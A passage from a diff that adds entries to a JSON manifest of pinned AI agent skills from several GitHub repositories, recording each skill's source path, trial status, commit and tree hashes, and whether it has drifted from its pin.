"OpenHands/extensions", + "path": "skills/linear", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "3419cdad4edd8d23c9eb5cdafa834ac50be9ef3d", + "head_tree": "3419cdad4edd8d23c9eb5cdafa834ac50be9ef3d", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "linear-triage", + "source": "OpenHands/extensions", + "path": "skills/linear-triage", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "8a87f4b44d8fe3f1a78159a64639f68268ef4eec", + "head_tree": "8a87f4b44d8fe3f1a78159a64639f68268ef4eec", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "mainframe-planning", + "source": "OpenHands/extensions", + "path": "plugins/cobol-modernization/skills/mainframe-planning", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "03983adeb00274f278921eb04bc8d3b4ed3ac1a4", + "head_tree": "03983adeb00274f278921eb04bc8d3b4ed3ac1a4", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "mainframe-removal", + "source": "OpenHands/extensions", + "path": "plugins/cobol-modernization/skills/mainframe-removal", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "5fa438fb84c8a8208993b094fdcb0ee2bbb8e625", + "head_tree": "5fa438fb84c8a8208993b094fdcb0ee2bbb8e625", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "mcp-builder", + "source": "anthropics/skills", + "path": "skills/mcp-builder", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "b866bcfb57b780c10b587c7b543e871a91661ce0", + "head_tree": "b866bcfb57b780c10b587c7b543e871a91661ce0", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + }, + { + "name": "migration-mapping", + "source": "OpenHands/extensions", + "path": "plugins/migration-scoring/skills/migration-mapping", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "01541663c7d326717eb97454e8cff37bd907d1af", + "head_tree": "01541663c7d326717eb97454e8cff37bd907d1af", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "migration-report", + "source": "OpenHands/extensions", + "path": "plugins/migration-scoring/skills/migration-report", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "7080394b2efd3de63a5251d95a1a6d6ac7b1e943", + "head_tree": "7080394b2efd3de63a5251d95a1a6d6ac7b1e943", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "migration-scoring", + "source": "OpenHands/extensions", + "path": "plugins/migration-scoring/skills/migration-scoring", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "d7bb843a85e64349b97add0947677273f79c36ce", + "head_tree": "d7bb843a85e64349b97add0947677273f79c36ce", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "modern-python", + "source": "trailofbits/skills", + "path": "plugins/modern-python/skills/modern-python", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "e84fa2b3a076b4333e4cc6187510f2b180eed427", + "head_tree": "e84fa2b3a076b4333e4cc6187510f2b180eed427", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "news-digest", + "source": "OpenHands/extensions", + "path": "skills/news-digest", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "0992f4bc12fbc02444662a3870abe0a755ad1b5f", + "head_tree": "0992f4bc12fbc02444662a3870abe0a755ad1b5f", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "notion", + "source": "OpenHands/extensions", + "path": "skills/notion", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "f9d670bf2279e7da84fc7da6276cb3854ac9d64e", + "head_tree": "f9d670bf2279e7da84fc7da6276cb3854ac9d64e", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "npm", + "source": "OpenHands/extensions", + "path": "skills/npm", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "34c1b85200cd6c5629b9c3b997a928aaa8a9e307", + "head_tree": "34c1b85200cd6c5629b9c3b997a928aaa8a9e307", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "openhands-api", + "source": "OpenHands/extensions", + "path": "skills/openhands-api", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "eaec51032ac36cf864f0079bd67698bf41adec04", + "head_tree": "eaec51032ac36cf864f0079bd67698bf41adec04", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "openhands-automation", + "source": "OpenHands/extensions", + "path": "skills/openhands-automation", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "7c5f5a3d5317e187eb9b95d407570a6e93ce989b", + "head_tree": "7c5f5a3d5317e187eb9b95d407570a6e93ce989b", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "openhands-enterprise-troubleshooting", + "source": "OpenHands/extensions", + "path": "skills/openhands-enterprise-troubleshooting", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "bbe40867eeaa2d890a57df32331003d35ea0635a", + "head_tree": "bbe40867eeaa2d890a57df32331003d35ea0635a", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "openhands-sdk", + "source": "OpenHands/extensions", + "path": "skills/openhands-sdk", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "65f0af3cda9aa9df67f7e65b7276408cb457d531", + "head_tree": "65f0af3cda9aa9df67f7e65b7276408cb457d531", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "pdf", + "source": "anthropics/skills", + "path": "skills/pdf", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "6369f4649de69bd6857c9bc3b058a77206009238", + "head_tree": "6369f4649de69bd6857c9bc3b058a77206009238", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + }, + { + "name": "pdflatex", + "source": "OpenHands/extensions", + "path": "skills/pdflatex", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "67c755b61c4ae488a59a98d34a160305fd2bb747", + "head_tree": "67c755b61c4ae488a59a98d34a160305fd2bb747", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "plain-english-content", + "source": "OpenHands/extensions", + "path": "skills/plain-english-content", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "67903279d5ec4d43eb69f16fcbc964a3bde22862", + "head_tree": "67903279d5ec4d43eb69f16fcbc964a3bde22862", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "playwright", + "source": "openai/skills", + "path": "skills/.curated/playwright", + "status": "trial", + "pinned_ref": "49f948faa9258a0c61caceaf225e179651397431", + "head_ref": "49f948faa9258a0c61caceaf225e179651397431", + "pinned_tree": "74888f3c1d5581aea6415e78d5fbd760a8ab2a41", + "head_tree": "74888f3c1d5581aea6415e78d5fbd760a8ab2a41", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "49f948faa9258a0c61caceaf225e179651397431", + "native_check_advances_commit_pin": false + }, + { + "name": "pptx", + "source": "anthropics/skills", + "path": "skills/pptx", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "64529c8b3f35fe632b7256bd2f6d46e4b40160ce", + "head_tree": "64529c8b3f35fe632b7256bd2f6d46e4b40160ce", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + }, + { + "name": "prd", + "source": "OpenHands/extensions", + "path": "skills/prd", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "d009702520f9617ffea98984b75f176a7d9535e9", + "head_tree": "d009702520f9617ffea98984b75f176a7d9535e9", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "property-based-testing", + "source": "trailofbits/skills", + "path": "plugins/property-based-testing/skills/property-based-testing", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "cf5e77d684180c80a2f3aa228c53d04b1fa1ba77", + "head_tree": "cf5e77d684180c80a2f3aa228c53d04b1fa1ba77", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "qa-changes", + "source": "OpenHands/extensions", + "path": "skills/qa-changes", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "350f5d613a6d9d05ab6a4fc0adfaf9a62249e21e", + "head_tree": "350f5d613a6d9d05ab6a4fc0adfaf9a62249e21e", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "receiving-code-review", + "source": "obra/superpowers", + "path": "skills/receiving-code-review", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "b5e154fc3ec7a6a0b1e710eebacc2168620cc428", + "head_tree": "b5e154fc3ec7a6a0b1e710eebacc2168620cc428", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "release-notes", + "source": "OpenHands/extensions", + "path": "skills/release-notes", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "1494e93e3459d395907a4c00b815f93858bca20b", + "head_tree": "1494e93e3459d395907a4c00b815f93858bca20b", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "requesting-code-review", + "source": "obra/superpowers", + "path": "skills/requesting-code-review", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "5fcdadfccd8c90987a11969d2f8c844820fee6e1", + "head_tree": "5fcdadfccd8c90987a11969d2f8c844820fee6e1", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "research", + "source": "mattpocock/skills", + "path": "skills/engineering/research", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "0a6796c5667e95ed2301ba7381c123b4acb2ae1a", + "head_tree": "0a6796c5667e95ed2301ba7381c123b4acb2ae1a", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "research-brief", + "source": "OpenHands/extensions", + "path": "skills/research-brief", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "96203abcbcdf42313e48380d51b5785e8d2a823b", + "head_tree": "96203abcbcdf42313e48380d51b5785e8d2a823b", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "resolving-merge-conflicts", + "source": "mattpocock/skills", + "path": "skills/engineering/resolving-merge-conflicts", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "77f0d7de3143abbf03e55a63522d30bff31ae908", + "head_tree": null, + "manifest_tree_matches_pin": true, + "state": "removed-at-head", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "sarif-parsing", + "source": "trailofbits/skills", + "path": "plugins/static-analysis/skills/sarif-parsing", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "4fe407da56e118c68fd9bcc16603a38cf6116562", + "head_tree": "4fe407da56e118c68fd9bcc16603a38cf6116562", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "score-quality", + "source": "OpenHands/extensions", + "path": "plugins/migration-scoring/skills/score-quality", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "15e66548eca0b7a0fc52d2f6ba528b9cd028d525", + "head_tree": "15e66548eca0b7a0fc52d2f6ba528b9cd028d525", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "score-style", + "source": "OpenHands/extensions", + "path": "plugins/migration-scoring/skills/score-style", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "5ea273ae511d5fc02eedeb0afe55c11c0712d65a", + "head_tree": "5ea273ae511d5fc02eedeb0afe55c11c0712d65a", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "search-first", + "source": "affaan-m/ECC", + "path": "skills/search-first", + "status": "trial", + "pinned_ref": "2b6e839771e53096d8451a213d40dc64ec8acac0", + "head_ref": "c70874fae9eb0e5ad0365beb7e2955899fd1d30f", + "pinned_tree": "89e0ce14188958a85fbfc7ae0bdc30a0dc9681e1", + "head_tree": "3ac0daf42ee5c7d0cbe28c399f02ff057283b889", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "2b6e839771e53096d8451a213d40dc64ec8acac0", + "native_check_advances_commit_pin": false + }, + { + "name": "security", + "source": "OpenHands/extensions", + "path": "skills/security", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "17f0062e8f675bce2b5c4d3d6ffb30a6e94017d6", + "head_tree": "17f0062e8f675bce2b5c4d3d6ffb30a6e94017d6", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "security-best-practices", + "source": "openai/skills", + "path": "skills/.curated/security-best-practices", + "status": "trial", + "pinned_ref": "49f948faa9258a0c61caceaf225e179651397431", + "head_ref": "49f948faa9258a0c61caceaf225e179651397431", + "pinned_tree": "349d45885fd3e432e7d0e5c6e21a2a712db158ef", + "head_tree": "349d45885fd3e432e7d0e5c6e21a2a712db158ef", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "49f948faa9258a0c61caceaf225e179651397431", + "native_check_advances_commit_pin": false + }, + { + "name": "security-threat-model", + "source": "openai/skills", + "path": "skills/.curated/security-threat-model", + "status": "trial", + "pinned_ref": "49f948faa9258a0c61caceaf225e179651397431", + "head_ref": "49f948faa9258a0c61caceaf225e179651397431", + "pinned_tree": "455ed2d898ef7d1e8836898f07be3a7d2c3f38d2", + "head_tree": "455ed2d898ef7d1e8836898f07be3a7d2c3f38d2", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "49f948faa9258a0c61caceaf225e179651397431", + "native_check_advances_commit_pin": false + }, + { + "name": "semgrep", + "source": "trailofbits/skills", + "path": "plugins/static-analysis/skills/semgrep", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "7503c4bec67cbe758ee488a2bd4caaf618facbfb", + "head_tree": "32c70e1f8ab600ce747ae84821f987ae05242c60", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "setup-agents-md", + "source": "OpenHands/extensions", + "path": "plugins/onboarding/skills/setup-agents-md", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "4699322855418d8df34d0c8e0d61042d267ff026", + "head_tree": "4699322855418d8df34d0c8e0d61042d267ff026", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "setup-openhands", + "source": "OpenHands/extensions", + "path": "plugins/onboarding/skills/setup-openhands", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "160dd94a55fb88d883a3f7b576378a0140e26a7a", + "head_tree": "160dd94a55fb88d883a3f7b576378a0140e26a7a", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "setup-pr-review", + "source": "OpenHands/extensions", + "path": "plugins/onboarding/skills/setup-pr-review", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "fa20714069063b154a9afc08c21bbb6acbc2817c", + "head_tree": "fa20714069063b154a9afc08c21bbb6acbc2817c", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "skill-creator", + "source": "anthropics/skills", + "path": "skills/skill-creator", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "3cf9a8db32597ba3e24b584a3d696f4e11c7d7b6", + "head_tree": "3cf9a8db32597ba3e24b584a3d696f4e11c7d7b6", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + }, + { + "name": "slack-channel-monitor", + "source": "OpenHands/extensions", + "path": "skills/slack-channel-monitor", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "d3dfabd9f8790f45e6a15274510050817dd6d0da", + "head_tree": "d3dfabd9f8790f45e6a15274510050817dd6d0da", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "slack-standup-digest", + "source": "OpenHands/extensions", + "path": "skills/slack-standup-digest", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "9e7ff432df4f3610aaf5628503b8e69122fe119e", + "head_tree": "9e7ff432df4f3610aaf5628503b8e69122fe119e", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "spark-version-upgrade", + "source": "OpenHands/extensions", + "path": "skills/spark-version-upgrade", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "1fade147a86861825148668e9157b8078a45b32b", + "head_tree": "1fade147a86861825148668e9157b8078a45b32b", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "ssh", + "source": "OpenHands/extensions", + "path": "skills/ssh", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "3faad5282472c8b5ccb6ecdef8ef3c5e0f64251d", + "head_tree": "3faad5282472c8b5ccb6ecdef8ef3c5e0f64251d", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "subagent-driven-development", + "source": "obra/superpowers", + "path": "skills/subagent-driven-development", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "5d44ced88725298e847c62c67a726dcc29e20d00", + "head_tree": "5d44ced88725298e847c62c67a726dcc29e20d00", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "supply-chain-risk-auditor", + "source": "trailofbits/skills", + "path": "plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "954cc68e05e24a2a14447b60d1e8946b53323b1b", + "head_tree": "954cc68e05e24a2a14447b60d1e8946b53323b1b", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "swift-linux", + "source": "OpenHands/extensions", + "path": "skills/swift-linux", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "60790b9ebdbbf4794cc5614e999f08b8b90bce88", + "head_tree": "60790b9ebdbbf4794cc5614e999f08b8b90bce88", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "systematic-debugging", + "source": "obra/superpowers", + "path": "skills/systematic-debugging", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "9a48dfda84bf339cba4b03fd803ba0dca2e158e3", + "head_tree": "9a48dfda84bf339cba4b03fd803ba0dca2e158e3", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "tdd", + "source": "mattpocock/skills", + "path": "skills/engineering/tdd", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "79288be15c67b849f22b6572056601090fd20913", + "head_tree": "bf1bf5ffcd63aa8abce830f2955a853c121fb463", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "technical-writing", + "source": "OpenHands/extensions", + "path": "skills/technical-writing", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "c3d06b8ed68fbdff5c19d8e03ffba2de2530b081", + "head_tree": "c3d06b8ed68fbdff5c19d8e03ffba2de2530b081", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "test-driven-development", + "source": "obra/superpowers", + "path": "skills/test-driven-development", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "847144cf0824095922c0d4875648b9fa74877e1a", + "head_tree": "847144cf0824095922c0d4875648b9fa74877e1a", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "theme-factory", + "source": "OpenHands/extensions", + "path": "skills/theme-factory", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": 